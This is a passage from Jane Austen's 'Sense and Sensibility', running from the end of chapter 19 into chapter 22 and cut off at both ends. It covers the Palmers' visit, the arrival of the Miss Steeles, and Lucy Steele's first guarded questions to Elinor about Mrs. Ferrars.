to suffer more than +what all her family suffered on his going away, she did +not adopt the method so judiciously employed by Marianne, +on a similar occasion, to augment and fix her sorrow, +by seeking silence, solitude and idleness. Their means +were as different as their objects, and equally suited +to the advancement of each. + +Elinor sat down to her drawing-table as soon as he +was out of the house, busily employed herself the whole day, +neither sought nor avoided the mention of his name, +appeared to interest herself almost as much as ever in the +general concerns of the family, and if, by this conduct, +she did not lessen her own grief, it was at least prevented +from unnecessary increase, and her mother and sisters +were spared much solicitude on her account. + +Such behaviour as this, so exactly the reverse +of her own, appeared no more meritorious to Marianne, +than her own had seemed faulty to her. The business +of self-command she settled very easily;--with strong +affections it was impossible, with calm ones it could +have no merit. That her sister's affections WERE calm, +she dared not deny, though she blushed to acknowledge it; +and of the strength of her own, she gave a very striking proof, +by still loving and respecting that sister, in spite +of this mortifying conviction. + +Without shutting herself up from her family, +or leaving the house in determined solitude to avoid them, +or lying awake the whole night to indulge meditation, +Elinor found every day afforded her leisure enough +to think of Edward, and of Edward's behaviour, in every +possible variety which the different state of her spirits +at different times could produce,--with tenderness, +pity, approbation, censure, and doubt. There were moments +in abundance, when, if not by the absence of her mother +and sisters, at least by the nature of their employments, +conversation was forbidden among them, and every effect +of solitude was produced. Her mind was inevitably +at liberty; her thoughts could not be chained elsewhere; +and the past and the future, on a subject so interesting, +must be before her, must force her attention, and engross +her memory, her reflection, and her fancy. + +From a reverie of this kind, as she sat at her +drawing-table, she was roused one morning, soon after +Edward's leaving them, by the arrival of company. +She happened to be quite alone. The closing of the +little gate, at the entrance of the green court in front +of the house, drew her eyes to the window, and she saw +a large party walking up to the door. Amongst them +were Sir John and Lady Middleton and Mrs. Jennings, +but there were two others, a gentleman and lady, who were +quite unknown to her. She was sitting near the window, +and as soon as Sir John perceived her, he left the rest +of the party to the ceremony of knocking at the door, +and stepping across the turf, obliged her to open the +casement to speak to him, though the space was so short +between the door and the window, as to make it hardly +possible to speak at one without being heard at the other. + +"Well," said he, "we have brought you some strangers. +How do you like them?" + +"Hush! they will hear you." + +"Never mind if they do. It is only the Palmers. +Charlotte is very pretty, I can tell you. You may see her +if you look this way." + +As Elinor was certain of seeing her in a couple +of minutes, without taking that liberty, she begged +to be excused. + +"Where is Marianne? Has she run away because we +are come? I see her instrument is open." + +"She is walking, I believe." + +They were now joined by Mrs. Jennings, who had not +patience enough to wait till the door was opened before +she told HER story. She came hallooing to the window, +"How do you do, my dear? How does Mrs. Dashwood do? +And where are your sisters? What! all alone! you +will be glad of a little company to sit with you. +I have brought my other son and daughter to see you. +Only think of their coming so suddenly! I thought I heard +a carriage last night, while we were drinking our tea, +but it never entered my head that it could be them. +I thought of nothing but whether it might not be Colonel +Brandon come back again; so I said to Sir John, I do think +I hear a carriage; perhaps it is Colonel Brandon come +back again"-- + +Elinor was obliged to turn from her, in the middle +of her story, to receive the rest of the party; Lady +Middleton introduced the two strangers; Mrs. Dashwood +and Margaret came down stairs at the same time, and they +all sat down to look at one another, while Mrs. Jennings +continued her story as she walked through the passage +into the parlour, attended by Sir John. + +Mrs. Palmer was several years younger than Lady +Middleton, and totally unlike her in every respect. +She was short and plump, had a very pretty face, +and the finest expression of good humour in it that could +possibly be. Her manners were by no means so elegant +as her sister's, but they were much more prepossessing. +She came in with a smile, smiled all the time of her visit, +except when she laughed, and smiled when she went away. +Her husband was a grave looking young man of five or six +and twenty, with an air of more fashion and sense than +his wife, but of less willingness to please or be pleased. +He entered the room with a look of self-consequence, +slightly bowed to the ladies, without speaking a word, +and, after briefly surveying them and their apartments, +took up a newspaper from the table, and continued to read it +as long as he staid. + +Mrs. Palmer, on the contrary, who was strongly endowed +by nature with a turn for being uniformly civil and happy, +was hardly seated before her admiration of the parlour +and every thing in it burst forth. + +"Well! what a delightful room this is! I never +saw anything so charming! Only think, Mamma, how it +is improved since I was here last! I always thought it +such a sweet place, ma'am! (turning to Mrs. Dashwood) +but you have made it so charming! Only look, sister, +how delightful every thing is! How I should like such +a house for myself! Should not you, Mr. Palmer?" + +Mr. Palmer made her no answer, and did not even raise +his eyes from the newspaper. + +"Mr. Palmer does not hear me," said she, laughing; +"he never does sometimes. It is so ridiculous!" + +This was quite a new idea to Mrs. Dashwood; she had +never been used to find wit in the inattention of any one, +and could not help looking with surprise at them both. + +Mrs. Jennings, in the meantime, talked on as loud +as she could, and continued her account of their surprise, +the evening before, on seeing their friends, without +ceasing till every thing was told. Mrs. Palmer laughed +heartily at the recollection of their astonishment, +and every body agreed, two or three times over, that it +had been quite an agreeable surprise. + +"You may believe how glad we all were to see them," +added Mrs. Jennings, leaning forward towards Elinor, +and speaking in a low voice as if she meant to be heard +by no one else, though they were seated on different sides +of the room; "but, however, I can't help wishing they had +not travelled quite so fast, nor made such a long journey +of it, for they came all round by London upon account +of some business, for you know (nodding significantly and +pointing to her daughter) it was wrong in her situation. +I wanted her to stay at home and rest this morning, +but she would come with us; she longed so much to see +you all!" + +Mrs. Palmer laughed, and said it would not do her +any harm. + +"She expects to be confined in February," +continued Mrs. Jennings. + +Lady Middleton could no longer endure such a conversation, +and therefore exerted herself to ask Mr. Palmer if there +was any news in the paper. + +"No, none at all," he replied, and read on. + +"Here comes Marianne," cried Sir John. "Now, Palmer, +you shall see a monstrous pretty girl." + +He immediately went into the passage, opened the front door, +and ushered her in himself. Mrs. Jennings asked her, +as soon as she appeared, if she had not been to Allenham; +and Mrs. Palmer laughed so heartily at the question, +as to show she understood it. Mr. Palmer looked up +on her entering the room, stared at her some minutes, +and then returned to his newspaper. Mrs. Palmer's eye +was now caught by the drawings which hung round the room. +She got up to examine them. + +"Oh! dear, how beautiful these are! Well! how delightful! +Do but look, mama, how sweet! I declare they are quite charming; +I could look at them for ever." And then sitting down again, +she very soon forgot that there were any such things in the room. + +When Lady Middleton rose to go away, Mr. Palmer +rose also, laid down the newspaper, stretched himself +and looked at them all around. + +"My love, have you been asleep?" said his wife, laughing. + +He made her no answer; and only observed, after again +examining the room, that it was very low pitched, +and that the ceiling was crooked. He then made his bow, +and departed with the rest. + +Sir John had been very urgent with them all to +spend the next day at the park. Mrs. Dashwood, who did +not chuse to dine with them oftener than they dined +at the cottage, absolutely refused on her own account; +her daughters might do as they pleased. But they had no +curiosity to see how Mr. and Mrs. Palmer ate their dinner, +and no expectation of pleasure from them in any other way. +They attempted, therefore, likewise, to excuse themselves; +the weather was uncertain, and not likely to be good. +But Sir John would not be satisfied--the carriage should +be sent for them and they must come. Lady Middleton too, +though she did not press their mother, pressed them. +Mrs. Jennings and Mrs. Palmer joined their entreaties, all +seemed equally anxious to avoid a family party; and the young +ladies were obliged to yield. + +"Why should they ask us?" said Marianne, as soon as they +were gone. "The rent of this cottage is said to be low; +but we have it on very hard terms, if we are to dine +at the park whenever any one is staying either with them, +or with us." + +"They mean no less to be civil and kind to us now," +said Elinor, "by these frequent invitations, than by +those which we received from them a few weeks ago. +The alteration is not in them, if their parties are grown +tedious and dull. We must look for the change elsewhere." + + + +CHAPTER 20 + + +As the Miss Dashwoods entered the drawing-room of the park +the next day, at one door, Mrs. Palmer came running in at +the other, looking as good humoured and merry as before. +She took them all most affectionately by the hand, +and expressed great delight in seeing them again. + +"I am so glad to see you!" said she, seating herself +between Elinor and Marianne, "for it is so bad a day I was +afraid you might not come, which would be a shocking thing, +as we go away again tomorrow. We must go, for the Westons +come to us next week you know. It was quite a sudden thing +our coming at all, and I knew nothing of it till the carriage +was coming to the door, and then Mr. Palmer asked me if I +would go with him to Barton. He is so droll! He never +tells me any thing! I am so sorry we cannot stay longer; +however we shall meet again in town very soon, I hope." + +They were obliged to put an end to such an expectation. + +"Not go to town!" cried Mrs. Palmer, with a laugh, +"I shall be quite disappointed if you do not. I could +get the nicest house in world for you, next door to ours, +in Hanover-square. You must come, indeed. I am sure +I shall be very happy to chaperon you at any time till +I am confined, if Mrs. Dashwood should not like to go +into public." + +They thanked her; but were obliged to resist all +her entreaties. + +"Oh, my love," cried Mrs. Palmer to her husband, +who just then entered the room--"you must help me to +persuade the Miss Dashwoods to go to town this winter." + +Her love made no answer; and after slightly bowing +to the ladies, began complaining of the weather. + +"How horrid all this is!" said he. "Such weather +makes every thing and every body disgusting. Dullness +is as much produced within doors as without, by rain. +It makes one detest all one's acquaintance. What the +devil does Sir John mean by not having a billiard room +in his house? How few people know what comfort is! Sir +John is as stupid as the weather." + +The rest of the company soon dropt in. + +"I am afraid, Miss Marianne," said Sir John, "you have +not been able to take your usual walk to Allenham today." + +Marianne looked very grave and said nothing. + +"Oh, don't be so sly before us," said Mrs. Palmer; +"for we know all about it, I assure you; and I admire your +taste very much, for I think he is extremely handsome. +We do not live a great way from him in the country, you know. +Not above ten miles, I dare say." + +"Much nearer thirty," said her husband. + +"Ah, well! there is not much difference. +I never was at his house; but they say it is a sweet +pretty place." + +"As vile a spot as I ever saw in my life," +said Mr. Palmer. + +Marianne remained perfectly silent, though her +countenance betrayed her interest in what was said. + +"Is it very ugly?" continued Mrs. Palmer--"then it +must be some other place that is so pretty I suppose." + +When they were seated in the dining room, Sir John +observed with regret that they were only eight all together. + +"My dear," said he to his lady, "it is very provoking +that we should be so few. Why did not you ask the Gilberts +to come to us today?" + +"Did not I tell you, Sir John, when you spoke to me +about it before, that it could not be done? They dined +with us last." + +"You and I, Sir John," said Mrs. Jennings, +"should not stand upon such ceremony." + +"Then you would be very ill-bred," cried Mr. Palmer. + +"My love you contradict every body," said his wife +with her usual laugh. "Do you know that you are quite rude?" + +"I did not know I contradicted any body in calling +your mother ill-bred." + +"Ay, you may abuse me as you please," said the good-natured +old lady, "you have taken Charlotte off my hands, and cannot +give her back again. So there I have the whip hand of you." + +Charlotte laughed heartily to think that her +husband could not get rid of her; and exultingly said, +she did not care how cross he was to her, as they must +live together. It was impossible for any one to be more +thoroughly good-natured, or more determined to be happy +than Mrs. Palmer. The studied indifference, insolence, +and discontent of her husband gave her no pain; +and when he scolded or abused her, she was highly diverted. + +"Mr. Palmer is so droll!" said she, in a whisper, +to Elinor. "He is always out of humour." + +Elinor was not inclined, after a little observation, +to give him credit for being so genuinely and unaffectedly +ill-natured or ill-bred as he wished to appear. +His temper might perhaps be a little soured by finding, +like many others of his sex, that through some unaccountable +bias in favour of beauty, he was the husband of a very silly +woman,--but she knew that this kind of blunder was too +common for any sensible man to be lastingly hurt by it.-- +It was rather a wish of distinction, she believed, +which produced his contemptuous treatment of every body, +and his general abuse of every thing before him. +It was the desire of appearing superior to other people. +The motive was too common to be wondered at; but the means, +however they might succeed by establishing his superiority +in ill-breeding, were not likely to attach any one to him +except his wife. + +"Oh, my dear Miss Dashwood," said Mrs. Palmer soon afterwards, +"I have got such a favour to ask of you and your sister. +Will you come and spend some time at Cleveland this +Christmas? Now, pray do,--and come while the Westons are +with us. You cannot think how happy I shall be! It will +be quite delightful!--My love," applying to her husband, +"don't you long to have the Miss Dashwoods come to Cleveland?" + +"Certainly," he replied, with a sneer--"I came +into Devonshire with no other view." + +"There now,"--said his lady, "you see Mr. Palmer +expects you; so you cannot refuse to come." + +They both eagerly and resolutely declined her invitation. + +"But indeed you must and shall come. I am sure you +will like it of all things. The Westons will be with us, +and it will be quite delightful. You cannot think +what a sweet place Cleveland is; and we are so gay now, +for Mr. Palmer is always going about the country canvassing +against the election; and so many people came to dine +with us that I never saw before, it is quite charming! But, +poor fellow! it is very fatiguing to him! for he is forced +to make every body like him." + +Elinor could hardly keep her countenance as she +assented to the hardship of such an obligation. + +"How charming it will be," said Charlotte, "when he +is in Parliament!--won't it? How I shall laugh! It will +be so ridiculous to see all his letters directed to him +with an M.P.--But do you know, he says, he will never frank +for me? He declares he won't. Don't you, Mr. Palmer?" + +Mr. Palmer took no notice of her. + +"He cannot bear writing, you know," she continued-- +"he says it is quite shocking." + +"No," said he, "I never said any thing so irrational. +Don't palm all your abuses of languages upon me." + +"There now; you see how droll he is. This is always +the way with him! Sometimes he won't speak to me for half +a day together, and then he comes out with something +so droll--all about any thing in the world." + +She surprised Elinor very much as they returned +into the drawing-room, by asking her whether she did +not like Mr. Palmer excessively. + +"Certainly," said Elinor; "he seems very agreeable." + +"Well--I am so glad you do. I thought you would, +he is so pleasant; and Mr. Palmer is excessively pleased +with you and your sisters I can tell you, and you can't +think how disappointed he will be if you don't come +to Cleveland.--I can't imagine why you should object +to it." + +Elinor was again obliged to decline her invitation; +and by changing the subject, put a stop to her entreaties. +She thought it probable that as they lived in the +same county, Mrs. Palmer might be able to give some +more particular account of Willoughby's general +character, than could be gathered from the Middletons' +partial acquaintance with him; and she was eager to gain +from any one, such a confirmation of his merits as might +remove the possibility of fear from Marianne. She began +by inquiring if they saw much of Mr. Willoughby at Cleveland, +and whether they were intimately acquainted with him. + +"Oh dear, yes; I know him extremely well," +replied Mrs. Palmer;--"Not that I ever spoke +to him, indeed; but I have seen him for ever in town. +Somehow or other I never happened to be staying at Barton +while he was at Allenham. Mama saw him here once before;-- +but I was with my uncle at Weymouth. However, I dare say +we should have seen a great deal of him in Somersetshire, +if it had not happened very unluckily that we should never +have been in the country together. He is very little +at Combe, I believe; but if he were ever so much there, +I do not think Mr. Palmer would visit him, for he is +in the opposition, you know, and besides it is such a +way off. I know why you inquire about him, very well; +your sister is to marry him. I am monstrous glad of it, +for then I shall have her for a neighbour you know." + +"Upon my word," replied Elinor, "you know much +more of the matter than I do, if you have any reason +to expect such a match." + +"Don't pretend to deny it, because you know it is +what every body talks of. I assure you I heard of it +in my way through town." + +"My dear Mrs. Palmer!" + +"Upon my honour I did.--I met Colonel Brandon +Monday morning in Bond-street, just before we left town, +and he told me of it directly." + +"You surprise me very much. Colonel Brandon tell +you of it! Surely you must be mistaken. To give such +intelligence to a person who could not be interested in it, +even if it were true, is not what I should expect Colonel +Brandon to do." + +"But I do assure you it was so, for all that, +and I will tell you how it happened. When we met him, +he turned back and walked with us; and so we began talking +of my brother and sister, and one thing and another, +and I said to him, 'So, Colonel, there is a new family +come to Barton cottage, I hear, and mama sends me word +they are very pretty, and that one of them is going to be +married to Mr. Willoughby of Combe Magna. Is it true, +pray? for of course you must know, as you have been in +Devonshire so lately.'" + +"And what did the Colonel say?" + +"Oh--he did not say much; but he looked as if he +knew it to be true, so from that moment I set it down +as certain. It will be quite delightful, I declare! +When is it to take place?" + +"Mr. Brandon was very well I hope?" + +"Oh! yes, quite well; and so full of your praises, +he did nothing but say fine things of you." + +"I am flattered by his commendation. He seems +an excellent man; and I think him uncommonly pleasing." + +"So do I.--He is such a charming man, that it +is quite a pity he should be so grave and so dull. +Mamma says HE was in love with your sister too.-- +I assure you it was a great compliment if he was, for he +hardly ever falls in love with any body." + +"Is Mr. Willoughby much known in your part +of Somersetshire?" said Elinor. + +"Oh! yes, extremely well; that is, I do not believe +many people are acquainted with him, because Combe Magna +is so far off; but they all think him extremely agreeable +I assure you. Nobody is more liked than Mr. Willoughby +wherever he goes, and so you may tell your sister. +She is a monstrous lucky girl to get him, upon my honour; +not but that he is much more lucky in getting her, +because she is so very handsome and agreeable, that nothing +can be good enough for her. However, I don't think +her hardly at all handsomer than you, I assure you; +for I think you both excessively pretty, and so does +Mr. Palmer too I am sure, though we could not get him +to own it last night." + +Mrs. Palmer's information respecting Willoughby +was not very material; but any testimony in his favour, +however small, was pleasing to her. + +"I am so glad we are got acquainted at last," +continued Charlotte.--"And now I hope we shall always be +great friends. You can't think how much I longed to see you! +It is so delightful that you should live at the cottage! +Nothing can be like it, to be sure! And I am so glad +your sister is going to be well married! I hope you will +be a great deal at Combe Magna. It is a sweet place, +by all accounts." + +"You have been long acquainted with Colonel Brandon, +have not you?" + +"Yes, a great while; ever since my sister married.-- +He was a particular friend of Sir John's. I believe," +she added in a low voice, "he would have been very +glad to have had me, if he could. Sir John and Lady +Middleton wished it very much. But mama did not think +the match good enough for me, otherwise Sir John would +have mentioned it to the Colonel, and we should have been +married immediately." + +"Did not Colonel Brandon know of Sir John's proposal +to your mother before it was made? Had he never owned +his affection to yourself?" + +"Oh, no; but if mama had not objected to it, +I dare say he would have liked it of all things. +He had not seen me then above twice, for it was before +I left school. However, I am much happier as I am. +Mr. Palmer is the kind of man I like." + + + +CHAPTER 21 + + +The Palmers returned to Cleveland the next day, +and the two families at Barton were again left to entertain +each other. But this did not last long; Elinor had hardly +got their last visitors out of her head, had hardly done +wondering at Charlotte's being so happy without a cause, +at Mr. Palmer's acting so simply, with good abilities, +and at the strange unsuitableness which often existed between +husband and wife, before Sir John's and Mrs. Jennings's +active zeal in the cause of society, procured her some +other new acquaintance to see and observe. + +In a morning's excursion to Exeter, they had met with +two young ladies, whom Mrs. Jennings had the satisfaction +of discovering to be her relations, and this was enough +for Sir John to invite them directly to the park, +as soon as their present engagements at Exeter were over. +Their engagements at Exeter instantly gave way before +such an invitation, and Lady Middleton was thrown into +no little alarm on the return of Sir John, by hearing +that she was very soon to receive a visit from two girls +whom she had never seen in her life, and of whose elegance,-- +whose tolerable gentility even, she could have no proof; +for the assurances of her husband and mother on that subject +went for nothing at all. Their being her relations too +made it so much the worse; and Mrs. Jennings's attempts +at consolation were therefore unfortunately founded, +when she advised her daughter not to care about their being +so fashionable; because they were all cousins and must put +up with one another. As it was impossible, however, now to +prevent their coming, Lady Middleton resigned herself to the +idea of it, with all the philosophy of a well-bred woman, +contenting herself with merely giving her husband a gentle +reprimand on the subject five or six times every day. + +The young ladies arrived: their appearance was by +no means ungenteel or unfashionable. Their dress was +very smart, their manners very civil, they were delighted +with the house, and in raptures with the furniture, +and they happened to be so doatingly fond of children +that Lady Middleton's good opinion was engaged in their +favour before they had been an hour at the Park. +She declared them to be very agreeable girls indeed, +which for her ladyship was enthusiastic admiration. +Sir John's confidence in his own judgment rose with this +animated praise, and he set off directly for the cottage +to tell the Miss Dashwoods of the Miss Steeles' arrival, +and to assure them of their being the sweetest girls +in the world. From such commendation as this, however, +there was not much to be learned; Elinor well knew +that the sweetest girls in the world were to be met +with in every part of England, under every possible +variation of form, face, temper and understanding. +Sir John wanted the whole family to walk to the Park directly +and look at his guests. Benevolent, philanthropic man! It +was painful to him even to keep a third cousin to himself. + +"Do come now," said he--"pray come--you must come--I +declare you shall come--You can't think how you will +like them. Lucy is monstrous pretty, and so good humoured +and agreeable! The children are all hanging about her already, +as if she was an old acquaintance. And they both long +to see you of all things, for they have heard at Exeter +that you are the most beautiful creatures in the world; +and I have told them it is all very true, and a great +deal more. You will be delighted with them I am sure. +They have brought the whole coach full of playthings +for the children. How can you be so cross as not to come? +Why they are your cousins, you know, after a fashion. +YOU are my cousins, and they are my wife's, so you must +be related." + +But Sir John could not prevail. He could only obtain +a promise of their calling at the Park within a day or two, +and then left them in amazement at their indifference, +to walk home and boast anew of their attractions to the +Miss Steeles, as he had been already boasting of the Miss +Steeles to them. + +When their promised visit to the Park and consequent +introduction to these young ladies took place, they found +in the appearance of the eldest, who was nearly thirty, +with a very plain and not a sensible face, nothing to admire; +but in the other, who was not more than two or three +and twenty, they acknowledged considerable beauty; her +features were pretty, and she had a sharp quick eye, +and a smartness of air, which though it did not give +actual elegance or grace, gave distinction to her person.-- +Their manners were particularly civil, and Elinor soon +allowed them credit for some kind of sense, when she +saw with what constant and judicious attention they +were making themselves agreeable to Lady Middleton. +With her children they were in continual raptures, +extolling their beauty, courting their notice, and humouring +their whims; and such of their time as could be spared from +the importunate demands which this politeness made on it, +was spent in admiration of whatever her ladyship was doing, +if she happened to be doing any thing, or in taking patterns +of some elegant new dress, in which her appearance +the day before had thrown them into unceasing delight. +Fortunately for those who pay their court through +such foibles, a fond mother, though, in pursuit of praise +for her children, the most rapacious of human beings, +is likewise the most credulous; her demands are exorbitant; +but she will swallow any thing; and the excessive +affection and endurance of the Miss Steeles towards +her offspring were viewed therefore by Lady Middleton +without the smallest surprise or distrust. She saw with +maternal complacency all the impertinent encroachments +and mischievous tricks to which her cousins submitted. +She saw their sashes untied, their hair pulled about +their ears, their work-bags searched, and their knives +and scissors stolen away, and felt no doubt of its being +a reciprocal enjoyment. It suggested no other surprise +than that Elinor and Marianne should sit so composedly by, +without claiming a share in what was passing. + +"John is in such spirits today!" said she, on his +taking Miss Steeles's pocket handkerchief, and throwing +it out of window--"He is full of monkey tricks." + +And soon afterwards, on the second boy's violently +pinching one of the same lady's fingers, she fondly observed, +"How playful William is!" + +"And here is my sweet little Annamaria," she added, +tenderly caressing a little girl of three years old, +who had not made a noise for the last two minutes; +"And she is always so gentle and quiet--Never was there +such a quiet little thing!" + +But unfortunately in bestowing these embraces, +a pin in her ladyship's head dress slightly scratching +the child's neck, produced from this pattern of gentleness +such violent screams, as could hardly be outdone by any +creature professedly noisy. The mother's consternation +was excessive; but it could not surpass the alarm of the +Miss Steeles, and every thing was done by all three, +in so critical an emergency, which affection could suggest +as likely to assuage the agonies of the little sufferer. +She was seated in her mother's lap, covered with kisses, +her wound bathed with lavender-water, by one of the +Miss Steeles, who was on her knees to attend her, +and her mouth stuffed with sugar plums by the other. +With such a reward for her tears, the child was too wise +to cease crying. She still screamed and sobbed lustily, +kicked her two brothers for offering to touch her, and all +their united soothings were ineffectual till Lady Middleton +luckily remembering that in a scene of similar distress +last week, some apricot marmalade had been successfully +applied for a bruised temple, the same remedy was eagerly +proposed for this unfortunate scratch, and a slight +intermission of screams in the young lady on hearing it, +gave them reason to hope that it would not be rejected.-- +She was carried out of the room therefore in her +mother's arms, in quest of this medicine, and as the +two boys chose to follow, though earnestly entreated +by their mother to stay behind, the four young ladies +were left in a quietness which the room had not known for +many hours. + +"Poor little creatures!" said Miss Steele, as soon +as they were gone. "It might have been a very sad accident." + +"Yet I hardly know how," cried Marianne, "unless it +had been under totally different circumstances. +But this is the usual way of heightening alarm, where there +is nothing to be alarmed at in reality." + +"What a sweet woman Lady Middleton is!" said Lucy Steele. + +Marianne was silent; it was impossible for her to say +what she did not feel, however trivial the occasion; +and upon Elinor therefore the whole task of telling lies +when politeness required it, always fell. She did her +best when thus called on, by speaking of Lady Middleton +with more warmth than she felt, though with far less than +Miss Lucy. + +"And Sir John too," cried the elder sister, +"what a charming man he is!" + +Here too, Miss Dashwood's commendation, being only +simple and just, came in without any eclat. She merely +observed that he was perfectly good humoured and friendly. + +"And what a charming little family they have! I +never saw such fine children in my life.--I declare I +quite doat upon them already, and indeed I am always +distractedly fond of children." + +"I should guess so," said Elinor, with a smile, +"from what I have witnessed this morning." + +"I have a notion," said Lucy, "you think the little +Middletons rather too much indulged; perhaps they may be the +outside of enough; but it is so natural in Lady Middleton; +and for my part, I love to see children full of life +and spirits; I cannot bear them if they are tame and quiet." + +"I confess," replied Elinor, "that while I am at +Barton Park, I never think of tame and quiet children +with any abhorrence." + +A short pause succeeded this speech, which was first +broken by Miss Steele, who seemed very much disposed +for conversation, and who now said rather abruptly, +"And how do you like Devonshire, Miss Dashwood? I suppose +you were very sorry to leave Sussex." + +In some surprise at the familiarity of this question, +or at least of the manner in which it was spoken, +Elinor replied that she was. + +"Norland is a prodigious beautiful place, is not it?" +added Miss Steele. + +"We have heard Sir John admire it excessively," +said Lucy, who seemed to think some apology necessary +for the freedom of her sister. + +"I think every one MUST admire it," replied Elinor, +"who ever saw the place; though it is not to be supposed +that any one can estimate its beauties as we do." + +"And had you a great many smart beaux there? I +suppose you have not so many in this part of the world; +for my part, I think they are a vast addition always." + +"But why should you think," said Lucy, looking ashamed +of her sister, "that there are not as many genteel young +men in Devonshire as Sussex?" + +"Nay, my dear, I'm sure I don't pretend to say that there +an't. I'm sure there's a vast many smart beaux in Exeter; +but you know, how could I tell what smart beaux there +might be about Norland; and I was only afraid the Miss +Dashwoods might find it dull at Barton, if they had not +so many as they used to have. But perhaps you young ladies +may not care about the beaux, and had as lief be without +them as with them. For my part, I think they are vastly +agreeable, provided they dress smart and behave civil. +But I can't bear to see them dirty and nasty. Now there's +Mr. Rose at Exeter, a prodigious smart young man, +quite a beau, clerk to Mr. Simpson, you know, and yet if you +do but meet him of a morning, he is not fit to be seen.-- +I suppose your brother was quite a beau, Miss Dashwood, +before he married, as he was so rich?" + +"Upon my word," replied Elinor, "I cannot tell you, +for I do not perfectly comprehend the meaning of the word. +But this I can say, that if he ever was a beau before +he married, he is one still for there is not the smallest +alteration in him." + +"Oh! dear! one never thinks of married men's being +beaux--they have something else to do." + +"Lord! Anne," cried her sister, "you can talk of +nothing but beaux;--you will make Miss Dashwood believe you +think of nothing else." And then to turn the discourse, +she began admiring the house and the furniture. + +This specimen of the Miss Steeles was enough. +The vulgar freedom and folly of the eldest left +her no recommendation, and as Elinor was not blinded +by the beauty, or the shrewd look of the youngest, +to her want of real elegance and artlessness, she left +the house without any wish of knowing them better. + +Not so the Miss Steeles.--They came from Exeter, well +provided with admiration for the use of Sir John Middleton, +his family, and all his relations, and no niggardly +proportion was now dealt out to his fair cousins, whom they +declared to be the most beautiful, elegant, accomplished, +and agreeable girls they had ever beheld, and with whom +they were particularly anxious to be better acquainted.-- +And to be better acquainted therefore, Elinor soon found +was their inevitable lot, for as Sir John was entirely +on the side of the Miss Steeles, their party would be +too strong for opposition, and that kind of intimacy +must be submitted to, which consists of sitting an hour +or two together in the same room almost every day. +Sir John could do no more; but he did not know that any +more was required: to be together was, in his opinion, +to be intimate, and while his continual schemes for their +meeting were effectual, he had not a doubt of their being +established friends. + +To do him justice, he did every thing in his power +to promote their unreserve, by making the Miss Steeles +acquainted with whatever he knew or supposed of his cousins' +situations in the most delicate particulars,--and Elinor +had not seen them more than twice, before the eldest of +them wished her joy on her sister's having been so lucky +as to make a conquest of a very smart beau since she +came to Barton. + +"'Twill be a fine thing to have her married so young +to be sure," said she, "and I hear he is quite a beau, +and prodigious handsome. And I hope you may have as good +luck yourself soon,--but perhaps you may have a friend +in the corner already." + +Elinor could not suppose that Sir John would be more +nice in proclaiming his suspicions of her regard for Edward, +than he had been with respect to Marianne; indeed it was +rather his favourite joke of the two, as being somewhat +newer and more conjectural; and since Edward's visit, +they had never dined together without his drinking to her +best affections with so much significancy and so many nods +and winks, as to excite general attention. The letter F-- +had been likewise invariably brought forward, and found +productive of such countless jokes, that its character +as the wittiest letter in the alphabet had been long +established with Elinor. + +The Miss Steeles, as she expected, had now all the +benefit of these jokes, and in the eldest of them they +raised a curiosity to know the name of the gentleman +alluded to, which, though often impertinently expressed, +was perfectly of a piece with her general inquisitiveness +into the concerns of their family. But Sir John did not +sport long with the curiosity which he delighted to raise, +for he had at least as much pleasure in telling the name, +as Miss Steele had in hearing it. + +"His name is Ferrars," said he, in a very audible whisper; +"but pray do not tell it, for it's a great secret." + +"Ferrars!" repeated Miss Steele; "Mr. Ferrars is +the happy man, is he? What! your sister-in-law's brother, +Miss Dashwood? a very agreeable young man to be sure; +I know him very well." + +"How can you say so, Anne?" cried Lucy, who generally +made an amendment to all her sister's assertions. +"Though we have seen him once or twice at my uncle's, it +is rather too much to pretend to know him very well." + +Elinor heard all this with attention and surprise. +"And who was this uncle? Where did he live? How came +they acquainted?" She wished very much to have the subject +continued, though she did not chuse to join in it herself; +but nothing more of it was said, and for the first time +in her life, she thought Mrs. Jennings deficient either +in curiosity after petty information, or in a disposition +to communicate it. The manner in which Miss Steele had +spoken of Edward, increased her curiosity; for it struck +her as being rather ill-natured, and suggested the suspicion +of that lady's knowing, or fancying herself to know something +to his disadvantage.--But her curiosity was unavailing, +for no farther notice was taken of Mr. Ferrars's name by +Miss Steele when alluded to, or even openly mentioned by Sir +John. + + + +CHAPTER 22 + + +Marianne, who had never much toleration for any +thing like impertinence, vulgarity, inferiority of parts, +or even difference of taste from herself, was at +this time particularly ill-disposed, from the state +of her spirits, to be pleased with the Miss Steeles, +or to encourage their advances; and to the invariable +coldness of her behaviour towards them, which checked every +endeavour at intimacy on their side, Elinor principally +attributed that preference of herself which soon became +evident in the manners of both, but especially of Lucy, +who missed no opportunity of engaging her in conversation, +or of striving to improve their acquaintance by an easy +and frank communication of her sentiments. + +Lucy was naturally clever; her remarks were often +just and amusing; and as a companion for half an hour +Elinor frequently found her agreeable; but her powers +had received no aid from education: she was ignorant +and illiterate; and her deficiency of all mental improvement, +her want of information in the most common particulars, +could not be concealed from Miss Dashwood, in spite of her +constant endeavour to appear to advantage. Elinor saw, +and pitied her for, the neglect of abilities which education +might have rendered so respectable; but she saw, with less +tenderness of feeling, the thorough want of delicacy, +of rectitude, and integrity of mind, which her attentions, +her assiduities, her flatteries at the Park betrayed; +and she could have no lasting satisfaction in the company +of a person who joined insincerity with ignorance; +whose want of instruction prevented their meeting +in conversation on terms of equality, and whose conduct +toward others made every shew of attention and deference +towards herself perfectly valueless. + +"You will think my question an odd one, I dare say," +said Lucy to her one day, as they were walking together +from the park to the cottage--"but pray, are you +personally acquainted with your sister-in-law's mother, +Mrs. Ferrars?" + +Elinor DID think the question a very odd one, +and her countenance expressed it, as she answered that she +had never seen Mrs. Ferrars. + +"Indeed!" replied Lucy; "I wonder at that, for I +thought you must have seen her at Norland sometimes. +Then, perhaps, you cannot tell me what sort of a woman +she is?" + +"No," returned Elinor, cautious of giving her real +opinion of Edward's mother, and not very desirous +of satisfying what seemed impertinent curiosity-- +"I know nothing of her." + +"I am sure you think me very strange, for enquiring +about her in such a way," said Lucy, eyeing Elinor attentively +as she spoke; "but perhaps there may be reasons--I wish +I might venture; but however I hope you will do me the justice +of believing that I do not mean to be impertinent." + +Elinor made her a civil reply, and they walked on +for a few minutes in silence. It was broken by Lucy, +who renewed the subject again by saying, with some +hesitation, + +"I cannot bear to have you think me impertinently curious. +I am sure I would rather do any thing in the world than be +thought so by a person whose good opinion is so well worth +having as yours. And I am sure I should not have the smallest +fear of trusting YOU; indeed, I should be very glad of your +advice how to manage in such and uncomfortable situation +as I am; but, however, there is no occasion to trouble YOU. +I am sorry you do not happen to know Mrs. Ferrars." + +"I am sorry I do NOT," said Elinor, in great astonishment, +"if it could be of 